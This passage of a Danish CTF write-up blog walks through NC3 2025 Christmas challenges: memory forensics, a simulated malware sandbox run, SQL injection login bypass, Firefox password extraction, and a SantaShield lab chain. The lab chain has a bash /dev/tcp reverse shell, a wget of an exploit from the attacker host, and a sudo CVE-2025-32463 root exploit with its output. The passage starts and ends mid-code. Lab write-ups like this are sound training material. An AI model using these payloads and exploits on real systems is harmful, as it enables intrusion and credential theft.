</span></span><span class="line"><span class="cl">    <span class="n">ctypes</span><span class="o">.</span><span class="n">c_size_t</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">ctypes</span><span class="o">.</span><span class="n">c_ulong</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">ctypes</span><span class="o">.</span><span class="n">c_ulong</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">addr</span> <span class="o">=</span> <span class="n">kernel32</span><span class="o">.</span><span class="n">VirtualAlloc</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">BUF_SIZE</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">PAGE_EXECUTE_READWRITE</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="ow">not</span> <span class="n">addr</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">ctypes</span><span class="o">.</span><span class="n">WinError</span><span class="p">(</span><span class="n">ctypes</span><span class="o">.</span><span class="n">get_last_error</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">buf</span> <span class="o">=</span> <span class="p">(</span><span class="n">ctypes</span><span class="o">.</span><span class="n">c_ubyte</span> <span class="o">*</span> <span class="n">BUF_SIZE</span><span class="p">)</span><span class="o">.</span><span class="n">from_buffer_copy</span><span class="p">(</span><span class="n">raw</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ctypes</span><span class="o">.</span><span class="n">memmove</span><span class="p">(</span><span class="n">ctypes</span><span class="o">.</span><span class="n">c_void_p</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span> <span class="n">buf</span><span class="p">,</span> <span class="n">BUF_SIZE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] Nisse-proces PID: </span><span class="si">{</span><span class="n">os</span><span class="o">.</span><span class="n">getpid</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] RWX buffer address: 0x</span><span class="si">{</span><span class="n">addr</span><span class="si">:</span><span class="s2">016X</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] Sabotagescript fra drillenissen aktivt.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">       
</span></span><span class="line"><span class="cl">        <span class="n">_</span> <span class="o">=</span> <span class="n">mm_script</span><span class="p">[:</span><span class="mi">64</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="n">_</span> <span class="o">=</span> <span class="n">ctypes</span><span class="o">.</span><span class="n">string_at</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="mi">64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">except</span> <span class="ne">KeyboardInterrupt</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">pass</span>
</span></span></code></pre></div><p>Python filen kan findes ved at køre: <code>vol -f drillenissen.mem windows.dumpfiles.DumpFiles</code> og lede efter en python fil (<code>.py</code>).</p>
<p>Så nu ved vi hvad vi leder efter i memory. Koden læser en fil <code>secret.bin</code>, som er XOR&rsquo;et med <code>0x42</code>, og loader den i en eksekverbar hukommelsesregion. Vi kan dumpe denne region ved at bruge Volatility igen:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">vol -f drillenissen.mem windows.filescan <span class="p">|</span> grep -i <span class="s2">&#34;secret.bin&#34;</span>
</span></span><span class="line"><span class="cl">0x9985bc83ac20.0<span class="se">\U</span>sers<span class="se">\N</span>isseværkstedet<span class="se">\D</span>ocuments<span class="se">\G</span>aveværkstedet<span class="se">\s</span>ecret.bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">vol -f drillenissen.mem windows.dumpfiles --virtaddr 0x9985bc83ac20
</span></span><span class="line"><span class="cl">Cache	FileObject	FileName	Result
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">DataSectionObject	0x9985bc83ac20	secret.bin	Error dumping file
</span></span></code></pre></div><p>Ikke tag dig af fejlen, filen bliver dumpet alligevel. Nu kan vi dekryptere filen med et simpelt script:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;secret.bin&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">enc</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">dec</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="mh">0x42</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">enc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">dec</span><span class="p">)</span>
</span></span></code></pre></div><p>Hvilket giver os:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">NC3{Dr1ll3_n1ss3n_g3mm3r_s1g_i_R4M}BBBBBBBB....
</span></span></code></pre></div><p>Flag: <code>NC3{Dr1ll3_n1ss3n_g3mm3r_s1g_i_R4M}</code></p>
<hr>
<h2 id="makulatoren">Makulatoren</h2>
<p>Nistrid havde gemt et billede af sin Pokémonsamling og holdt det kært. En aften havde Nissen, ja ham drillenissen I alle kender, stjålet billedet og kommet det i julemakulatoren.</p>
<p>Stakkels Nistrid, der nu prøver at samle resterne, men det er ikke nemt uden hjælp.</p>
<p>Vedhæftet fil: <a href="/nc3_2025/forensics_makulatoren.zip">forensics_makulatoren.zip</a></p>
<p><strong>Løsning:</strong> Efter at have fyret op for min ChatGPT fik jeg cooket et script, der næsten finde flaget for mig.</p>
<p>Hvis du er interesseret i at se det fulde script, kan du finde det her: <a href="/nc3_2025/makulatoren_solve.py">makulatoren_solve.py</a>, nedenunder er det bedste resultat jeg kunne opnå med det:</p>
<p><img src="/nc3_2025/reconstructed_09.png" alt="Flag billede"></p>
<p>Flag: <code>NC3{Pokemonkort_i_2025_er_nostalgisk}</code></p>
<hr>
<h2 id="humlebiens-flugt--1">Humlebiens Flugt 🐝 (1)</h2>
<p>Trusselsaktøren Humlebi er i gang med en stor malwarekampagne, hvor de spreder deres malware med samme navn via bl.a. SEO-poisoning. Malwaren er en dropper, der kommunikerer med en C2-server og kan køre commands eller bruges til at levere yderligere malware hos offeret.</p>
<p>Vi har fået fat på et sample af malwaren og har oplysninger om, at Humlebi bruger en &ldquo;Domain Generation Algorithm&rdquo; (DGA). Altså er C2-domænerne ikke hardcoded i malwaren, men genereres algoritmisk ud fra et hardcoded karaktersæt og seed.</p>
<p>Malwaren genererer og kontakter domæner, indtil en forbindelse lykkes. Find ud af hvilket domæne Humlebi bruger som aktiv C2-server lige nu og tilgå den side!</p>
<p><strong>OBS:</strong> Programmet simulerer rigtig malware, men er fuldstændig ufarligt.</p>
<p>Vedhæftet fil: <a href="/nc3_2025/malware_humlebiens_flugt.zip">malware_humlebiens_flugt.zip</a></p>
<p><strong>Løsning:</strong> Efter at have analyseret malwaren fandt jeg ud af, at den bruger en DGA baseret på et hardcoded karaktersæt og et seed. Ved at implementere DGA-algoritmen i et script, hov vent, det passer jo ikke. Hvad med at vi bare bruger en sandkasse til at køre malwaren og observere dens netværksaktivitet? :)</p>
<p><img src="/nc3_2025/humlebi/anyrun.png" alt="any.run analyse"></p>
<p>Her ser vi domænet <code>jul-r-hackerfest.online</code>, som malwaren kontakter. Ved at besøge dette domæne i en browser får vi vist en side med flaget.</p>
<p><code>Du tilhører os nu NC3{https://youtu.be/M93qXQWaBdE}</code></p>
<p>Flag: <code>NC3{https://youtu.be/M93qXQWaBdE}</code></p>
<hr>
<h2 id="gremlinshop-autoriseret-adgang">Gremlinshop: Autoriseret Adgang</h2>
<p>Julemandens Efterretningstjeneste (JET) har længe vandret blandt gremlins for at forhindre deres planer om at spolere julen. For nyligt fandt de en hjemmeside med information om en hemmelig webshop for gremlins.</p>
<p>Tjek den ud, og se om du kan hjælpe JET med at finde alle gremlins hemmeligheder.</p>
<p><a href="https://tryhackme.com/jr/gremlinshop">https://tryhackme.com/jr/gremlinshop</a></p>
<p><strong>Løsning:</strong> Efter at have gennemgået webapplikationen fandt jeg en sårbarhed i login-funktionen, der tillod mig at omgå autentificeringen ved hjælp af SQL-injektion. Ved at udnytte denne sårbarhed kunne jeg få adgang til admin-panelet, hvor flaget var gemt.</p>
<p>SQL-injektionspayloaden, der blev brugt til at logge ind som admin, var:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1234</span><span class="s1">&#39; OR 1=1 --
</span></span></span></code></pre></div><p>Dette gav mig adgang til admin-panelet, hvor jeg fandt flaget ved siden af brugernavnet &ldquo;admin&rdquo;.</p>
<p>Flag: <code>NC3{4Lway5_s4ni7Ise_1nP8T}</code></p>
<hr>
<h2 id="gremlinshop-begravet-i-mængden">Gremlinshop: Begravet i mængden</h2>
<p>Julemandens Efterretningstjeneste (JET) har længe vandret blandt gremlins for at forhindre deres planer om at spolere julen. For nyligt fandt de en hjemmeside med information om en hemmelig webshop for gremlins.</p>
<p>Tjek den ud, og se om du kan hjælpe JET med at finde alle gremlins hemmeligheder.</p>
<p><a href="https://tryhackme.com/jr/gremlinshop">https://tryhackme.com/jr/gremlinshop</a></p>
<p><strong>Løsning:</strong> Ved at analysere de urls der var på hjemmesiden fandt <code>http://10.xx.xxx.xx/item/&lt;id&gt;</code>, hvor <code>&lt;id&gt;</code> var et tal. Ved at prøve forskellige id&rsquo;er fra 1 og opefter fandt jeg id <code>13</code>, der returnerede et flag.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;row mt-2&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">span</span> <span class="na">class</span><span class="o">=</span><span class="s">&#39;fw-bold&#39;</span><span class="p">&gt;</span>Beskrivelse<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">span</span> <span class="na">class</span><span class="o">=</span><span class="s">&#39;&#39;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        Hver sten larmer mere end fysikken burde tillade. Disse er særdeles effektive til at distrahere Lurifax
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">span</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;badge text-bg-success me-2&#34;</span><span class="p">&gt;</span>NC3{D0_no7_5tOr3_S3cr3ts_1N_br0wse4bl6_9l4ceS}<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Flag: <code>NC3{D0_no7_5tOr3_S3cr3ts_1N_br0wse4bl6_9l4ceS}</code></p>
<hr>
<h2 id="nissrensics-ræv-og-nøgler">Nissrensics: Ræv og Nøgler</h2>
<p>Har været på udkig efter julegaver til min nissenevø og kom til at oprette en profil. Nu bliver jeg spammet med reklamer for legetøj, det er seriøst ræv og nøgler.</p>
<p><strong>OBS:</strong> Samme image som i &ldquo;Nissrensics: Vandrestien&rdquo;</p>
<p><em>Da dette image er langt over 20GB har jeg valgt ikke at inkludere det her.</em></p>
<p><strong>Løsning:</strong> Efter at have startet VM&rsquo;en og undersøgt filsystemet fandt jeg Firefox browserens profilmappe. Vi kan benytte et værktøj som <a href="https://github.com/unode/firefox_decrypt">https://github.com/unode/firefox_decrypt</a> til at udtrække gemte adgangskoder fra Firefox.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Select the Mozilla profile you wish to decrypt
</span></span><span class="line"><span class="cl"><span class="m">1</span> -&gt; Profiles/mnstpyk2.default
</span></span><span class="line"><span class="cl"><span class="m">2</span> -&gt; Profiles/x8lplqao.default-release
</span></span><span class="line"><span class="cl"><span class="m">2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Website:   https://nc3ctf.dk
</span></span><span class="line"><span class="cl">Username: <span class="s1">&#39;Nisseya&#39;</span>
</span></span><span class="line"><span class="cl">Password: <span class="s1">&#39;megetlangtogsværtkodeord&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Website:   https://www.br.dk
</span></span><span class="line"><span class="cl">Username: <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">Password: <span class="s1">&#39;NC3{Ildraevens_hemmelighed_brudt}&#39;</span>
</span></span></code></pre></div><p>Flag: <code>NC3{Ildraevens_hemmelighed_brudt}</code></p>
<hr>
<h2 id="santashield-security-3">SantaShield Security #3</h2>
<p>Vigtignissen fører sig frem med sit nye nissekonsulenthus SantaShield Security, men mon han har nisset i det, eller er der mon styr på sagerne?</p>
<p><a href="https://tryhackme.com/jr/santashieldsecurity2o25">https://tryhackme.com/jr/santashieldsecurity2o25</a></p>
<p><strong>Løsning:</strong> Fra SantaShield Security #1 fandt jeg ud af at der kørte en <code>Eshell v14.2.5.9</code> på port <code>2222</code>. Ved at forbinde til den med <code>ssh &lt;ip&gt; -p 2222</code> kunne jeg logge på uden password, og køre kommandoer. Her fra kan vi spawne en reverse shell til vores egen maskine:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ssh &lt;ip&gt; -p <span class="m">2222</span>
</span></span><span class="line"><span class="cl">Eshell V14.2.5.9 <span class="o">(</span>press Ctrl+G to abort, <span class="nb">type</span> help<span class="o">()</span>. <span class="k">for</span> <span class="nb">help</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">1&gt; os:cmd<span class="o">(</span><span class="s2">&#34;bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.168.165.2/9999 0&gt;&amp;1&#39;&#34;</span><span class="o">)</span>.
</span></span></code></pre></div><p>På vores egen maskine lytter vi med <code>nc -lvnp 9999</code>, og får en shell på target maskinen.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ nc -lvnp <span class="m">9999</span>
</span></span><span class="line"><span class="cl">Listening on 0.0.0.0 <span class="m">9999</span>
</span></span><span class="line"><span class="cl">Connection received on 10.82.191.56 <span class="m">36760</span>
</span></span><span class="line"><span class="cl">bash: cannot <span class="nb">set</span> terminal process group <span class="o">(</span>575<span class="o">)</span>: Inappropriate ioctl <span class="k">for</span> device
</span></span><span class="line"><span class="cl">bash: no job control in this shell
</span></span><span class="line"><span class="cl">user@debian:/opt/ssh$ <span class="nb">cd</span>
</span></span><span class="line"><span class="cl">user@debian:~$
</span></span></code></pre></div><p>I hjemmemappen finder vi en fil <code>flag.txt</code> med flaget. Til SantaShield Security #1. Nu skal vi bare elevere vores privilegier til root. Ved at lede efter SUID-filer finder vi 2 mistænkelige filer <code>sudo</code> og <code>restart_admin</code> i <code>/usr/local/bin/</code>, som begge er SUID root.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">user@debian:~$ find / -type f -perm /4000 2&gt;/dev/null
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">/usr/local/bin/sudo
</span></span><span class="line"><span class="cl">/usr/local/bin/restart_admin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">user@debian:~$ /usr/local/bin/sudo --version
</span></span><span class="line"><span class="cl">Sudo version 1.9.17
</span></span></code></pre></div><p>Ved at google lidt rundt fandt jeg en CVE fra 2025, der påvirker <code>sudo</code> versioner <code>1.9.14 - 1.9.17</code>, som tillader privilege escalation. <a href="https://www.upwind.io/feed/cve%E2%80%912025%E2%80%9132463-critical-sudo-chroot-privilege-escalation-flaw">https://www.upwind.io/feed/cve%E2%80%912025%E2%80%9132463-critical-sudo-chroot-privilege-escalation-flaw</a></p>
<p>Vi kan bruge følgende GitHub repo til at udnytte sårbarheden: <a href="https://github.com/MohamedKarrab/CVE-2025-32463">https://github.com/MohamedKarrab/CVE-2025-32463</a></p>
<p>Vi kan git clone repoet, zip mappen, og starte en simpel HTTP server på vores egen maskine:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
</span></span><span class="line"><span class="cl">zip -r CVE-2025-32463.zip CVE-2025-32463/
</span></span><span class="line"><span class="cl">python3 -m http.server
</span></span></code></pre></div><p>På target maskinen downloader vi zip filen, unzipper den, og kører exploit scriptet:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">user@debian:~$ wget http://192.168.165.2:8000/CVE-2025-32463.zip
</span></span><span class="line"><span class="cl">user@debian:~$ unzip CVE-2025-32463.zip
</span></span><span class="line"><span class="cl">user@debian:~$ <span class="nb">cd</span> CVE-2025-32463/
</span></span></code></pre></div><p>For at køre scriptet skal vi først tilføje <code>/usr/local/bin</code> til vores PATH, så <code>sudo</code> kommandoen i scriptet bruger den sårbare SUID <code>sudo</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">user@debian:~/CVE-2025-32463$ <span class="nb">export</span> <span class="nv">PATH</span><span class="o">=</span>/usr/local/bin:<span class="nv">$PATH</span>
</span></span><span class="line"><span class="cl">user@debian:~/CVE-2025-32463$ ./get_root.sh
</span></span><span class="line"><span class="cl">./get_root.sh
</span></span><span class="line"><span class="cl"><span class="o">[</span>*<span class="o">]</span> Detected architecture: x86_64
</span></span><span class="line"><span class="cl"><span class="o">[</span>*<span class="o">]</span> Launching sudo with archs-dynamic payload …
</span></span><span class="line"><span class="cl">id
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,25<span class="o">(</span>floppy<span class="o">)</span>,29<span class="o">(</span>audio<span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,44<span class="o">(</span>video<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,100<span class="o">(</span>users<span class="o">)</span>,106<span class="o">(</span>netdev<span class="o">)</span>,1000<span class="o">(</span>user<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">pwd</span>
</span></span><span class="line"><span class="cl">/home/user
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> /root
</span></span><span class="line"><span class="cl">ls
</span></span><span class="line"><span class="cl">flag.txt
</span></span><span class="line"><span class="cl">install
</span></span><span class="line"><span class="cl">tmp
</span></span><span class="line"><span class="cl">cat flag.txt
</span></span><span class="line"><span class="cl">NC3<span class="o">{</span>flag3:m3RRY_R007-R007!_4ND_xM4s<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>NC3{flag3:m3RRY_R007-R007!_4ND_xM4s}</code></p>
<hr>
<h2 id="santashield-security-2">SantaShield Security #2</h2>
<p>Vigtignissen fører sig frem med sit nye nissekonsulenthus SantaShield Security, men mon han har nisset i det, eller er der mon styr på sagerne?</p>
<p><a href="https://tryhackme.com/jr/santashieldsecurity2o25">https://tryhackme.com/jr/santashieldsecurity2o25</a></p>
<p><strong>Løsning:</strong> Vi fortsætter hvor vi slap i SantaShield Security #2. Vi har nu en root shell på target maskinen og skal bare finde det sidste flag. Vi starter med at tjekke <code>/etc/passwd</code> for interessante brugere:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">cat /etc/passwd
</span></span><span class="line"><span class="cl">root:x:0:0:root:/root:/bin/bash
</span></span><span class="line"><span class="cl">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">bin:x:2:2:bin:/bin:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">sys:x:3:3:sys:/dev:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">sync:x:4:65534:sync:/bin:/bin/sync
</span></span><span class="line"><span class="cl">games:x:5:60:games:/usr/games:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
</span></span><span class="line"><span class="cl">user:x:1000:1000:user,,,:/home/user:/bin/bash
</span></span><span class="line"><span class="cl">admin:x:1003:1003:admin,,,:/home/admin:/bin/rbash
</span></span><span class="line"><span class="cl">polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
</span></span></code></pre></div><p>Her finder vi <code>admin</code> brugeren, som bruger <code>rbash</code> (restricted bash) som shell. Men siden at vi er root kan vi nemt kigge i admin&rsquo;s hjemmemappe:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ls /home/admin
</span></span><span class="line"><span class="cl">flag.txt
</span></span><span class="line"><span class="cl">cat /home/admin/flag.txt 
</span></span><span class="line"><span class="cl">NC3<span class="o">{</span>flag2:RUnn1ng_OuT_of_j41l_or_Not<span class="o">}</span>
</span></span></code></pre></div><p>Siden at flaget omtaler et jail, kan vi antage at <code>rbash</code> er sat op som et jail miljø for admin brugeren. Men vores CVE exploit gav os root adgang, så vi behøvede ikke at bryde ud af jailen alligevel.</p>
<p>Flag: <code>NC3{flag2:RUnn1ng_OuT_of_j41l_or_Not}</code></p>
<hr>
<h2 id="ønskomania-6000">Ønskomania 6000</h2>
<p>Julemanden har ansat det nyeste IT-firma i byen, BitNisse, i håb om at kunne uddelegere hele processen med at modtage ønsker fra alle verdens børn til én besked app. For at få alle børn til at bruge appen, har Julemanden lovet, at hvert ønske et barn sender til ham forøger deres chance for at få ekstra gaver!</p>
<p>Da deadline for appen var 1. december, blev den kryptografiske protokol lidt halvfærdig, og nogle kryptografer er bange for, at tekniske hackerbørn kan få deres ønske registreret flere gange.</p>
<p><a href="https://tryhackme.com/jr/oenskomania6000">https://tryhackme.com/jr/oenskomania6000</a></p>
<p>Vedhæftet fil: <a href="/nc3_2025/crypto_oenskomania_6000.zip">crypto_oenskomania_6000.zip</a></p>
<p><strong>Løsning:</strong> Her får du en løsnings guide for Crypto challenges i 2025:</p>
<ol>
<li>Åben <a href="https://chatgpt.com">https://chatgpt.com</a> også kendt som CryptoGPT.</li>
<li>Upload given fil til chatten.</li>
<li>Kør given script fra chatten.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span><span class="o">,</span><span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span><span class="p">,</span> <span class="n">context</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sørg for at vi kan importere client-modulet</span>
</span></span><span class="line"><span class="cl"><span class="n">repo_root</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)</span><span class="o">.</span><span class="n">resolve</span><span class="p">()</span><span class="o">.</span><span class="n">parent</span>
</span></span><span class="line"><span class="cl"><span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">repo_root</span> <span class="o">/</span> <span class="s2">&#34;client&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">client</span> <span class="kn">import</span> <span class="n">encrypt_wish_for_santa</span>  <span class="c1"># type: ignore</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">&#34;debug&#34;</span>   <span class="c1"># se hele dialogen</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Brug: </span><span class="si">{</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s2"> &lt;HOST&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">host</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">port</span> <span class="o">=</span> <span class="mi">1337</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">wish</span> <span class="o">=</span> <span class="s2">&#34;giv mig flag 🎅&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">ct</span> <span class="o">=</span> <span class="n">encrypt_wish_for_santa</span><span class="p">(</span><span class="n">wish</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hex_ct</span> <span class="o">=</span> <span class="n">ct</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
